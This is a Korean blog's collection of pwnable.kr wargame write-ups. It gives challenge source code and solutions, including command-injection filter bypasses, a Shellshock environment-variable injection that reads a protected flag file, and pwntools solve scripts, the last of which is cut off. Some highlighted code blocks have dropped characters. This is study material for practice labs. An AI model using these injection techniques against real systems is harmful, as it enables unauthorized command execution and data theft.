반응형
반응형
반응형

Pwnable

It's very simple bof

50

str과 str2 사이에 dummy가 없다고 가정하고 str2 10바이트 채워주고 바로 다음 Hello, world!로 str을 채워주면 된다.

반응형
반응형

cmd2 - 9 pt

Daddy bought me a system command shell.

but he put some filters to prevent me from playing with it without his permission...

but I wanna play anytime I want!


ssh cmd2@pwnable.kr -p2222 (pw:flag of cmd1)



비밀번호는 cmd1문제의 플래그다.



cmd2@ubuntu:~$ ls -l

total 20

-r-xr-sr-x 1 root cmd2_pwn 8794 Dec 21  2015 cmd2

-rw-r--r-- 1 root root      586 Dec 21  2015 cmd2.c

-r--r----- 1 root cmd2_pwn   30 Jul 14  2015 flag

cmd2@ubuntu:~$ cat cmd2.c

#include <stdio.h>

#include <string.h>


int filter(char* cmd){

int r=0;

r += strstr(cmd, "=")!=0;

r += strstr(cmd, "PATH")!=0;

r += strstr(cmd, "export")!=0;

r += strstr(cmd, "/")!=0;

r += strstr(cmd, "`")!=0;

r += strstr(cmd, "flag")!=0;

return r;

}


extern char** environ;

void delete_env(){

char** p;

for(p=environ; *p; p++) memset(*p, 0, strlen(*p));

}


int main(int argc, char* argv[], char** envp){

delete_env();

putenv("PATH=/no_command_execution_until_you_become_a_hacker");

if(filter(argv[1])) return 0;

printf("%s\n", argv[1]);

system( argv[1] );

return 0;

}



일단 환경변수 메모리 부분을 모두 초기화 한다.

그리고 입력값에서 "=", "PATH", "export", "/",  "`", "flag" 를 필터링한다.

"/" 를 필터링하면서, /bin/cat을 사용하기 어려워졌다..ㅠㅠ


그러면, bash의 기본 함수인 read를 이용해서 플래그를 얻어야 할 것 같다.


cmd2@ubuntu:~$ ./cmd2 "read a; \$a"

read a; $a

/bin/cat flag

FuN_w1th_5h3ll_v4riabl3s_haha


FLAG : FuN_w1th_5h3ll_v4riabl3s_haha



반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [memcpy] 풀이  (0) 2018.06.12
pwnable.kr [uaf] 풀이  (1) 2018.06.11
pwnable.kr [cmd1] 풀이  (0) 2018.03.22
pwnable.kr [lotto] 풀이  (0) 2018.03.18
pwnable.kr [blackjack] 풀이  (0) 2018.03.18
반응형

cmd1 - 1 pt

Mommy! what is PATH environment in Linux?


ssh cmd1@pwnable.kr -p2222 (pw:guest)



cmd1@ubuntu:~$ ls -l

total 20

-r-xr-sr-x 1 root cmd1_pwn 8513 Jul 14  2015 cmd1

-rw-r--r-- 1 root root      319 Jul 14  2015 cmd1.c

-r--r----- 1 root cmd1_pwn   48 Jul 14  2015 flag

cmd1@ubuntu:~$ cat cmd1.c

#include <stdio.h>

#include <string.h>


int filter(char* cmd){

int r=0;

r += strstr(cmd, "flag")!=0;

r += strstr(cmd, "sh")!=0;

r += strstr(cmd, "tmp")!=0;

return r;

}

int main(int argc, char* argv[], char** envp){

putenv("PATH=/fuckyouverymuch");

if(filter(argv[1])) return 0;

system( argv[1] );

return 0;

}


입력한 명령어를 그대로 실행시켜준다.
그러나 flag, sh, tmp는 필터링을 하는 것을 알 수 있다.

환경변수를 이용해서 풀어야 할 것 같지만, 와일드카드는 막지 않고 있다.
와일드 카드 사용하면 플래그가 나온다.

cmd1@ubuntu:~$ ./cmd1 "/bin/cat *"
...
mommy now I get what PATH environment is for :)


FLAG  : mommy now I get what PATH environment is for :)


반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [uaf] 풀이  (1) 2018.06.11
pwnable.kr [cmd2] 풀이  (0) 2018.03.22
pwnable.kr [lotto] 풀이  (0) 2018.03.18
pwnable.kr [blackjack] 풀이  (0) 2018.03.18
pwnable.kr [coin1] 풀이  (2) 2018.03.12
반응형

lotto - 2 pt 

Mommy! I made a lotto program for my homework.

do you want to play?



ssh lotto@pwnable.kr -p2222 (pw:guest)


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
 
unsigned char submit[6];
 
void play(){
    
    int i;
    printf("Submit your 6 lotto bytes : ");
    fflush(stdout);
 
    int r;
    r = read(0, submit, 6);
 
    printf("Lotto Start!\n");
    //sleep(1);
 
    // generate lotto numbers
    int fd = open("/dev/urandom", O_RDONLY);
    if(fd==-1){
        printf("error. tell admin\n");
        exit(-1);
    }
    unsigned char lotto[6];
    if(read(fd, lotto, 6!= 6){
        printf("error2. tell admin\n");
        exit(-1);
    }
    for(i=0; i<6; i++){
        lotto[i] = (lotto[i] % 45+ 1;        // 1 ~ 45
    }
    close(fd);
    
    // calculate lotto score
    int match = 0, j = 0;
    for(i=0; i<6; i++){
        for(j=0; j<6; j++){
            if(lotto[i] == submit[j]){
                match++;
            }
        }
    }
 
    // win!
    if(match == 6){
        system("/bin/cat flag");
    }
    else{
        printf("bad luck...\n");
    }
 
}
 
void help(){
    printf("- nLotto Rule -\n");
    printf("nlotto is consisted with 6 random natural numbers less than 46\n");
    printf("your goal is to match lotto numbers as many as you can\n");
    printf("if you win lottery for *1st place*, you will get reward\n");
    printf("for more details, follow the link below\n");
    printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
    printf("mathematical chance to win this game is known to be 1/8145060.\n");
}
 
int main(int argc, char* argv[]){
 
    // menu
    unsigned int menu;
 
    while(1){
 
        printf("- Select Menu -\n");
        printf("1. Play Lotto\n");
        printf("2. Help\n");
        printf("3. Exit\n");
 
        scanf("%d"&menu);
 
        switch(menu){
            case 1:
                play();
                break;
            case 2:
                help();
                break;
            case 3:
                printf("bye\n");
                return 0;
            default:
                printf("invalid menu\n");
                break;
        }
    }
    return 0;
}
 
cs


우리가 봐야할 함수는 play()함수가 되겠네요.


void play(){

int i;

printf("Submit your 6 lotto bytes : ");

fflush(stdout);


int r;

r = read(0, submit, 6);


printf("Lotto Start!\n");

//sleep(1);


// generate lotto numbers

int fd = open("/dev/urandom", O_RDONLY);

if(fd==-1){

printf("error. tell admin\n");

exit(-1);

}

unsigned char lotto[6];

if(read(fd, lotto, 6) != 6){

printf("error2. tell admin\n");

exit(-1);

}

for(i=0; i<6; i++){

lotto[i] = (lotto[i] % 45) + 1; // 1 ~ 45

}

close(fd);

// calculate lotto score

int match = 0, j = 0;

for(i=0; i<6; i++){

for(j=0; j<6; j++){

if(lotto[i] == submit[j]){

match++;

}

}

}


// win!

if(match == 6){

system("/bin/cat flag");

}

else{

printf("bad luck...\n");

}


}



// calculate lotto score부분을 잘 살펴보자
for문 루프가 36번이 돈다..
lotto[0] == submit[0~5] 가 되서
만약 111111을 입력하고 lotto[]중에 1이 있을 경우 match의 값은 6이 되어 쉘을 얻을 수 있다.

lotto의 한 개만 알아내면 된다는 것이다.


그러나 입력할때 int형이 아닌 char형으로 받기 때문에 1을 입력하면 '1'로 인식되어 10진수값으로 49가 된다.
45 이하가 되는 문자는 아스키코드표를 참조하자.
키보드로 입력 가능한 문자는 몇개 되지 않는다.

저는 !를 사용하겠습니다.

- Select Menu -
1. Play Lotto
2. Help
3. Exit
1
Submit your 6 lotto bytes : !!!!!!
Lotto Start!
sorry mom... I FORGOT to check duplicate numbers... :(
- Select Menu -
1. Play Lotto
2. Help
3. Exit


몇번 시도하다 보니 플래그가 떴습니다.

FLAG : sorry mom... I FORGOT to check duplicate numbers... :(


반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [cmd2] 풀이  (0) 2018.03.22
pwnable.kr [cmd1] 풀이  (0) 2018.03.22
pwnable.kr [blackjack] 풀이  (0) 2018.03.18
pwnable.kr [coin1] 풀이  (2) 2018.03.12
pwnable.kr [shellshock] 풀이  (0) 2018.03.08
반응형

blackjack - 1 pt

Hey! check out this C implementation of blackjack game!

I found it online

* http://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html


I like to give my flags to millionares.

how much money you got?



Running at : nc pwnable.kr 9009


베팅하는 부분의 함수이다.


721
722
723
724
725
726
727
728
729
730
731
732
733
734
int betting() //Asks user amount to bet
{
 printf("\n\nEnter Bet: $");
 scanf("%d"&bet);
 
 if (bet > cash) //If player tries to bet more money than player has
 {
        printf("\nYou cannot bet more money than you have.");
        printf("\nEnter Bet: ");
        scanf("%d"&bet);
        return bet;
 }
 else return bet;
// End Function
cs


이 부분을 보면,

베팅할 금액을 입력받는데 가지고 있는 돈보다 많은 양을 입력했을 경우

다시 입력하도록 된다. 그러나 반복문이 아니라서 한번 더 많은 양을 입력해도 그 값이 그대로 넘어간다.

 

Cash: $500

-------

|S    |

|  J  |

|    S|

-------


Your Total is 10


The Dealer Has a Total of 7


Enter Bet: $1000000000000000



Would You Like to Hit or Stay?

Please Enter H to Hit or S to Stay.

s


You Have Chosen to Stay at 10. Wise Decision!


The Dealer Has a Total of 10

The Dealer Has a Total of 13

The Dealer Has a Total of 16

The Dealer Has a Total of 19

Dealer Has the Better Hand. You Lose.


You have 0 Wins and 2 Losses. Awesome!


Would You Like To Play Again?

Please Enter Y for Yes or N for No

Y


YaY_I_AM_A_MILLIONARE_LOL



Cash: $1530495476

-------

|C    |

|  8  |

|    C|

-------


Your Total is 8


The Dealer Has a Total of 5


Enter Bet: $



띠용 플래그가 나왔다.


FLAG : YaY_I_AM_A_MILLIONARE_LOL



반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [cmd1] 풀이  (0) 2018.03.22
pwnable.kr [lotto] 풀이  (0) 2018.03.18
pwnable.kr [coin1] 풀이  (2) 2018.03.12
pwnable.kr [shellshock] 풀이  (0) 2018.03.08
pwnable.kr [mistake] 풀이  (0) 2018.03.08
반응형

coin1 - 6 pt

Mommy, I wanna play a game!

(if your network response time is too slow, try nc 0 9007 inside pwnable.kr server)


Running at : nc pwnable.kr 9007


---------------------------------------------------

-              Shall we play a game?              -

---------------------------------------------------

You have given some gold coins in your hand

however, there is one counterfeit coin among them

counterfeit coin looks exactly same as real coin

however, its weight is different from real one

real coin weighs 10, counterfeit coin weighes 9

help me to find the counterfeit coin with a scale

if you find 100 counterfeit coins, you will get reward :)

FYI, you have 30 seconds.

- How to play - 

1. you get a number of coins (N) and number of chances (C)

2. then you specify a set of index numbers of coins to be weighed

3. you get the weight information

4. 2~3 repeats C time, then you give the answer

- Example -

[Server] N=4 C=2 # find counterfeit among 4 coins with 2 trial

[Client] 0 1 # weigh first and second coin

[Server] 20 # scale result : 20

[Client] 3 # weigh fourth coin

[Server] 10 # scale result : 10

[Client] 2 # counterfeit coin is third!

[Server] Correct!


- Ready? starting in 3 sec... -



가짜 동전 찾기 게임이다.


N은 동전의 총 갯수, C는 시도 가능 횟수 이다.


진짜 동전의 무게는 10, 가짜동전의 무게는 9다.


정수 (n) 을 보내면 n+1번째 동전의 무게를 알려준다.

정수 a b c d e 이렇게 보내면 a, b, c, d, e 번째 동전 무게의 총합을 알려준다.


특정 배열의 총합을 알아내서 무게가 10의 배수가 아니면 그 배열에 가짜 동전이 있다는 것이다.


전체 동전을 반으로 나누어서 무게을 구하고 다시 10의 배수가 아닌 배열을 반으로 나누어서 무게를 구한다.

이런 식으로 무게가 10의 배수가 아닌 배열의 범위를 좁혀 나간다.

그러면 찾을 수 있다.


그런데 30초 동안 100개의 가짜 동전을 찾아내야 하기 때문에 코드를 짜서 풀어야 한다.



https://github.com/crater0516/pwnable.kr/blob/master/Todddlers_Bottle/coin1/solve.py

위 코드를 참고했습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
import re
 
#무게의 합이 10의 배수인지 아닌지 
def check (start, end, weight) :
    num = (end - start)
    print ("[!] check : num is %d" % num)
    if (10 * num == weight) :
        return 1
    else :
        return 0
 
def main () :
    r = remote("pwnable.kr"9007)
    data = r.recvuntil("sec... -\n")
    print data
    sleep(3)
    r.recv(1024)
    # start game!
    for i in range (0100) :
        print ("[+] recving data..."),
        sleep(0.1)
        #    r.recv(1024)
        data = r.recv(1024)
        print (": Done, data is %s" % data),
        print ("[*] data parsing..."),
        arr = re.findall("\d+", data)
        N = int(arr[0])
        C = int(arr[1])
        print (": Done, N is %d, C is %d" % (N, C))
        # data has been parsed
 
        start = 0
        end = N
        while (start <= end) :
            msg = ""
            mid = (start + end) / 2
            print ("[+] sending msg start...")
            for j in range (start, mid + 1) :
                msg += str(j) + " "
            msg += '\n'
            r.send(msg)
            print ("[*] msg : %s" % msg),
            dt = r.recv(100)
            print ("[*] dt : %s" % dt),
            if (dt.find("Correct"!= -1) :
                break
            #    sleep(3)
            weight = int(dt)
            print ("[+] weight : %d" % weight)
            #    sleep(3)
            ck = check(start, mid+1, weight)
            if (ck == 1) :
                print ("[*] counterfeit coin not found")
                start = mid + 1
            elif (ck == 0) :
                print ("[*] counterfeit coin found")
                end = mid
        print ("[+] Done, counterfeit coin has been found")
    while True :
           data = r.recvline ()
        print data
        if (data.find("bye!"!= -1) :
            break
 
if __name__ == "__main__" :
    main ()
 
cs


저만의 코드를 작성할 수 있기를..


FLAG : b1NaRy_S34rch1nG_1s_3asy_p3asy



반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [lotto] 풀이  (0) 2018.03.18
pwnable.kr [blackjack] 풀이  (0) 2018.03.18
pwnable.kr [shellshock] 풀이  (0) 2018.03.08
pwnable.kr [mistake] 풀이  (0) 2018.03.08
pwnable.kr [leg] 풀이  (0) 2018.03.07
반응형

shellshock - 1 pt

Mommy, there was a shocking news about bash.

I bet you already know, but lets just make it sure :)



ssh shellshock@pwnable.kr -p2222 (pw:guest)



shellshock@ubuntu:~$ cat shellshock.c

#include <stdio.h>

int main(){

setresuid(getegid(), getegid(), getegid());

setresgid(getegid(), getegid(), getegid());

system("/home/shellshock/bash -c 'echo shock_me'");

return 0;

}


bash의 shellshock 취약점 문제 


shellshock@ubuntu:~$ env x='() { :;}; echo hi' ./bash

hi


취약점이 있다.
그러면 shellshock의 권한을 이용해서 flag를 읽으면 될 것 같다.

env x='() { :;}; /bin/cat flag' ./shellshock



shellshock@ubuntu:~$ env x='() { :;}; /bin/cat flag' ./shellshock
only if I knew CVE-2014-6271 ten years ago..!!
Segmentation fault

FLAG : only if I knew CVE-2014-6271 ten years ago..!!


반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [blackjack] 풀이  (0) 2018.03.18
pwnable.kr [coin1] 풀이  (2) 2018.03.12
pwnable.kr [mistake] 풀이  (0) 2018.03.08
pwnable.kr [leg] 풀이  (0) 2018.03.07
pwnable.kr [input] 풀이  (0) 2018.03.06
반응형

mistake - 1 pt

We all make mistakes, let's move on.

(don't take this too seriously, no fancy hacking skill is required at all)


This task is based on real event

Thanks to dhmonkey


hint : operator priority


ssh mistake@pwnable.kr -p2222 (pw:guest)


ssh 접속을 하고, 코드를 살펴봅시다.


mistake@ubuntu:~$ ls -l

total 24

-r-------- 1 mistake_pwn root      51 Jul 29  2014 flag

-r-sr-x--- 1 mistake_pwn mistake 8934 Aug  1  2014 mistake

-rw-r--r-- 1 root        root     792 Aug  1  2014 mistake.c

-r-------- 1 mistake_pwn root      10 Jul 29  2014 password

mistake@ubuntu:~$ cat mistake.c

#include <stdio.h>

#include <fcntl.h>


#define PW_LEN 10

#define XORKEY 1


void xor(char* s, int len){

int i;

for(i=0; i<len; i++){

s[i] ^= XORKEY;

}

}


int main(int argc, char* argv[]){

int fd;

if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){

printf("can't open password %d\n", fd);

return 0;

}


printf("do not bruteforce...\n");

sleep(time(0)%20);


char pw_buf[PW_LEN+1];

int len;

if(!(len=read(fd,pw_buf,PW_LEN) > 0)){

printf("read error\n");

close(fd);

return 0;

}


char pw_buf2[PW_LEN+1];

printf("input password : ");

scanf("%10s", pw_buf2);


// xor your input

xor(pw_buf2, 10);


if(!strncmp(pw_buf, pw_buf2, PW_LEN)){

printf("Password OK\n");

system("/bin/cat flag\n");

}

else{

printf("Wrong Password\n");

}


close(fd);

return 0;

}



문제 제목이 mistake이다.

힌트는 operator priority 연산자 우선순위.




if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0)


이 코드를 보면 open함수의 반환값인 fd의 값과 0을 비교하는 것 처럼 보이지만 사실 비교 연산자 (<)가 산술연산자 (=) 보다 우선순위가 높기 때문에

open함수의 반환값과 0을 비교한 결과가 fd에 들어가게 된다.


위 코드가 실행될 때 open함수에서 파일이 정상적으로 열려서 양수를 반환하게 된다.

그리고 0과 비교했을 때 Fasle 이므로 fd에는 0이 들어가게 된다.




그 다음,

 

if(!(len=read(fd,pw_buf,PW_LEN) > 0))


이 부분도 마찬가지.

일단 fd에 0이 들어갔다. read함수에서 fd = 0이면 stdin을 의미한다. 사용자로부터 입력값을 받는다.

입력값이 pw_buf에 들어가기 때문에 pw_buf의 값을 우리 마음대로 설정할 수 있다!



그 뒤에 


scanf("%10s", pw_buf2);


를 통해 pw_buf2의 값을 입력받기 때문에


pw_buf, pw_buf2 모두 우리 모두 설정할 수 있다.

그 뒤에 pw_buf2를 1과 xor한 값과 pw_buf가 같으면 플래그를 뿌려주게 된다.



mistake@ubuntu:~$ ./mistake 

do not bruteforce...

1111111111

input password : 0000000000

Password OK

Mommy, the operator priority always confuses me :(



FLAG : Mommy, the operator priority always confuses me :(



반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [coin1] 풀이  (2) 2018.03.12
pwnable.kr [shellshock] 풀이  (0) 2018.03.08
pwnable.kr [leg] 풀이  (0) 2018.03.07
pwnable.kr [input] 풀이  (0) 2018.03.06
pwnable.kr [random] 풀이  (0) 2018.02.26
반응형

leg - 2 pt

Daddy told me I should study arm.

But I prefer to study my leg!


Download : http://pwnable.kr/bin/leg.c

Download : http://pwnable.kr/bin/leg.asm


ssh leg@pwnable.kr -p2222 (pw:guest)



leg.c를 봅시다.


#include <stdio.h>
#include <fcntl.h>
int key1(){
	asm("mov r3, pc\n");
}
int key2(){
	asm(
	"push	{r6}\n"
	"add	r6, pc, $1\n"
	"bx	r6\n"
	".code   16\n"
	"mov	r3, pc\n"
	"add	r3, $0x4\n"
	"push	{r3}\n"
	"pop	{pc}\n"
	".code	32\n"
	"pop	{r6}\n"
	);
}
int key3(){
	asm("mov r3, lr\n");
}
int main(){
	int key=0;
	printf("Daddy has very strong arm! : ");
	scanf("%d", &key);
	if( (key1()+key2()+key3()) == key ){
		printf("Congratz!\n");
		int fd = open("flag", O_RDONLY);
		char buf[100];
		int r = read(fd, buf, 100);
		write(0, buf, r);
	}
	else{
		printf("I have strong leg :P\n");
	}
	return 0;
}


key1부터 3까지의 함수들은 ARM 어셈블리어로 작성이 되었네요.

먼저 main함수를 보면 위 3개의 함수값을 모두 더한값을 맞추면 플래그를 얻을 수 있는 것 같습니다!


main함수의 어셈코드도 봅시다!


0x00008d68 <+44>:	bl	0x8cd4 <key1>
   0x00008d6c <+48>:	mov	r4, r0
   0x00008d70 <+52>:	bl	0x8cf0 <key2>
   0x00008d74 <+56>:	mov	r3, r0
   0x00008d78 <+60>:	add	r4, r4, r3
   0x00008d7c <+64>:	bl	0x8d20 <key3>
   0x00008d80 <+68>:	mov	r3, r0
   0x00008d84 <+72>:	add	r2, r4, r3
   0x00008d88 <+76>:	ldr	r3, [r11, #-16]
   0x00008d8c <+80>:	cmp	r2, r3


함수를 통해 구한 r0값을 모두 더해서 최종적으로 r2에 들어가는 것을 알 수 있네요.


그럼 각 함수를 보겠습니다.




int key1(){
	asm("mov r3, pc\n");
}

(gdb) disass key1 Dump of assembler code for function key1: 0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008cd8 <+4>: add r11, sp, #0 0x00008cdc <+8>: mov r3, pc 0x00008ce0 <+12>: mov r0, r3 0x00008ce4 <+16>: sub sp, r11, #0 0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4) 0x00008cec <+24>: bx lr End of assembler dump.


key1함수의 c와 어쎔코드입니다.

pc라는 값을 r3에 넣고 다시 r3를 r0에 넣었습니다.

그러면 pc라는 값이 key1의 값이 되겠네요.


그럼 pc가 뭔지 공부하고 옵시다!


cpu가 명령어 하나를 수행할 때 fetch > decode > execute 의 과정을 거친다고 합니다.


2개의 opcode를 실행하려면 fetch > decode > execute > fetch > decode > execute 총 6번의 작업이 필요하죠.

하지만 pipe line라는 것을 이용해서


 1

2

 fetch

decode 

execute 

 

 

fetch 

decode 

execute 



이렇게 병렬적으로 단계를 수행하면 2개의 opcode를 실행할때 6번의 작업이 필요했던것을 4번으로 줄일 수 있습니다.

직렬보다 효율적이죠.


pc는 fetch할 주소를 담고 있습니다.

현재 명령어가 execute단계라면, 다음 명령어는 decode단계, 그 다음 명령어는 fetch 단계이겠죠.

그래서 pc는 다다음번째 명령어의 주소를 담고 있게 됩니다.



key1 함수에서 pc의 값은 0x00008ce4 가 되겠네요.




이제 key2를 봅시다.

int key2(){
	asm(
	"push	{r6}\n"
	"add	r6, pc, $1\n"
	"bx	r6\n"
	".code   16\n"
	"mov	r3, pc\n"
	"add	r3, $0x4\n"
	"push	{r3}\n"
	"pop	{pc}\n"
	".code	32\n"
	"pop	{r6}\n"
	);
}
(gdb) disass key2
Dump of assembler code for function key2:
   0x00008cf0 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cf4 <+4>:	add	r11, sp, #0
   0x00008cf8 <+8>:	push	{r6}		; (str r6, [sp, #-4]!)
   0x00008cfc <+12>:	add	r6, pc, #1
   0x00008d00 <+16>:	bx	r6
   0x00008d04 <+20>:	mov	r3, pc
   0x00008d06 <+22>:	adds	r3, #4
   0x00008d08 <+24>:	push	{r3}
   0x00008d0a <+26>:	pop	{pc}
   0x00008d0c <+28>:	pop	{r6}		; (ldr r6, [sp], #4)
   0x00008d10 <+32>:	mov	r0, r3
   0x00008d14 <+36>:	sub	sp, r11, #0
   0x00008d18 <+40>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008d1c <+44>:	bx	lr
End of assembler dump.


r3에 pc값(0x00008d08)을 대입하고, 4를 더해서 r0에 대입하네요.

key2의 값은 0x8d08 + 4 = 0x8d0c !!!




key3를 봅시다.


int key3(){
	asm("mov r3, lr\n");
}

(gdb) disass key3 Dump of assembler code for function key3: 0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008d24 <+4>: add r11, sp, #0 0x00008d28 <+8>: mov r3, lr 0x00008d2c <+12>: mov r0, r3 0x00008d30 <+16>: sub sp, r11, #0 0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4) 0x00008d38 <+24>: bx lr End of assembler dump.


lr이라는 값을 r3에 대입하고 r3의 값을 r0에 대입하네요.

그러면 lr이라는 값을 구하면 될 것 같네요.


lr은 함수 호출 전에 다시 되돌아가 실행할 주소를 담고 있다고 합니다.


main함수를 보면,


 0x00008d7c <+64>:	bl	0x8d20 <key3>
   0x00008d80 <+68>:	mov	r3, r0
   0x00008d84 <+72>:	add	r2, r4, r3

lr의 값은 0x00008d80 이 되겠네요.




3개 모두 구했습니다!!

key1 | 0x8ce4

key2 | 0x8d0c

key3 | 0x8d80


모두 더하면 0x1a770 이네요.


그럼 이제 플래그를 구합시다!

프로그램에서 정수값으로 입력을 받기 때문에 108400을 입력하겠습니다.


/ $ ./leg

Daddy has very strong arm! : 108400 

Congratz!

My daddy has a lot of ARMv5te muscle!


FLAG : My daddy has a lot of ARMv5te muscle!



반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [shellshock] 풀이  (0) 2018.03.08
pwnable.kr [mistake] 풀이  (0) 2018.03.08
pwnable.kr [input] 풀이  (0) 2018.03.06
pwnable.kr [random] 풀이  (0) 2018.02.26
pwnable.kr [passcode] 풀이  (0) 2018.02.26
반응형

input - 4 pt

Mom? how can I pass my input to a computer program?


ssh input2@pwnable.kr -p2222 (pw:guest)


ssh 접속을 하고 소스를 확인합니다.


input2@ubuntu:~$ ls -l

total 24

-r--r----- 1 input2_pwn root      55 Jun 30  2014 flag

-r-sr-x--- 1 input2_pwn input2 13250 Jun 30  2014 input

-rw-r--r-- 1 root       root    1754 Jun 30  2014 input.c

input2@ubuntu:~$ cat input.c

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/socket.h>

#include <arpa/inet.h>


int main(int argc, char* argv[], char* envp[]){

printf("Welcome to pwnable.kr\n");

printf("Let's see if you know how to give input to program\n");

printf("Just give me correct inputs then you will get the flag :)\n");


// argv

if(argc != 100) return 0;

if(strcmp(argv['A'],"\x00")) return 0;

if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;

printf("Stage 1 clear!\n");


// stdio

char buf[4];

read(0, buf, 4);

if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;

read(2, buf, 4);

        if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;

printf("Stage 2 clear!\n");

// env

if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;

printf("Stage 3 clear!\n");


// file

FILE* fp = fopen("\x0a", "r");

if(!fp) return 0;

if( fread(buf, 4, 1, fp)!=1 ) return 0;

if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;

fclose(fp);

printf("Stage 4 clear!\n");


// network

int sd, cd;

struct sockaddr_in saddr, caddr;

sd = socket(AF_INET, SOCK_STREAM, 0);

if(sd == -1){

printf("socket error, tell admin\n");

return 0;

}

saddr.sin_family = AF_INET;

saddr.sin_addr.s_addr = INADDR_ANY;

saddr.sin_port = htons( atoi(argv['C']) );

if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){

printf("bind error, use another port\n");

    return 1;

}

listen(sd, 1);

int c = sizeof(struct sockaddr_in);

cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);

if(cd < 0){

printf("accept error, tell admin\n");

return 0;

}

if( recv(cd, buf, 4, 0) != 4 ) return 0;

if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;

printf("Stage 5 clear!\n");


// here's your flag

system("/bin/cat flag");

return 0;

}




코드가 상당히 기네요.. 차근차근 살펴봅시다.

전체적으로 보았을때 Stage 1 부터 5까지 모두 통과해야 플래그를 얻을 수 있는 것 같습니다.



그럼 먼저 Stage1을 통과하기위한 조건을 봅시다.


// argv

if(argc != 100) return 0;

if(strcmp(argv['A'],"\x00")) return 0;

if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;

printf("Stage 1 clear!\n");



1. 인자의 개수 = 100개

2. argv['A'] = \x00

3. argv['B'] = \x20\x0a\x0d


이면 스테이지 1이 클리어가 되네요.




// stdio

char buf[4];

read(0, buf, 4);

if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;

read(2, buf, 4);

        if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;

printf("Stage 2 clear!\n");


Stage2입니다.


pwnable.kr의 fd문제에서 read함수의 fd값을 공부했던적이 있었습니다.

stdin으로 \x00\x0a\x00\xff 입력을 주고 sterr로 \x00\x0a\x02\xff을 주어야 클리어할 수 있습니다.




// env

if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;

printf("Stage 3 clear!\n");


stage 3 입니다.


환경변수네요. \xde\xad\xbe\xef 라는 환경변수에 \xca\xfe\xba\xbe 값을 넣어주면 됩니다.




// file

FILE* fp = fopen("\x0a", "r");

if(!fp) return 0;

if( fread(buf, 4, 1, fp)!=1 ) return 0;

if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;

fclose(fp);

printf("Stage 4 clear!\n");


stage 4 입니다.


\x0a라는 파일을 열고, 읽어온 첫 4바이트가 \x00\x00\x00\x00 이어야 클리어네요.




// network

int sd, cd;

struct sockaddr_in saddr, caddr;

sd = socket(AF_INET, SOCK_STREAM, 0);

if(sd == -1){

printf("socket error, tell admin\n");

return 0;

}

saddr.sin_family = AF_INET;

saddr.sin_addr.s_addr = INADDR_ANY;

saddr.sin_port = htons( atoi(argv['C']) );

if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){

printf("bind error, use another port\n");

     return 1;

}

listen(sd, 1);

int c = sizeof(struct sockaddr_in);

cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);

if(cd < 0){

printf("accept error, tell admin\n");

return 0;

}

if( recv(cd, buf, 4, 0) != 4 ) return 0;

if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;

printf("Stage 5 clear!\n");


stage5 입니다.

atoi(argv['C']) = argv['C']의 정수형으로 변환한 값을 포트번호로 소켓서버를 열고

\xde\xad\xbe\xef 을 보내주면 stage5가 클리어 된다.





그럼 익스플로잇을 작성하겠습니다.


http://gmltnscv.tistory.com/27 이 분의 익스플로잇 코드를 참고했습니다...


Python으로 작성하였고, Pwntools를 사용했습니당.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
 
#stage1
argvs = [str(i) for i in range(100)]
argvs[ord('A')] = '\x00'
argvs[ord('B')] = '\x20\x0a\x0d'
 
#stage2
with open('./stderr''a') as f:
    f.write('\x00\x0a\x02\xff')
#stage3
envVal = {'\xde\xad\xbe\xef':'\xca\xfe\xba\xbe'}
 
#stage4
with open('./\x0a''a') as f:
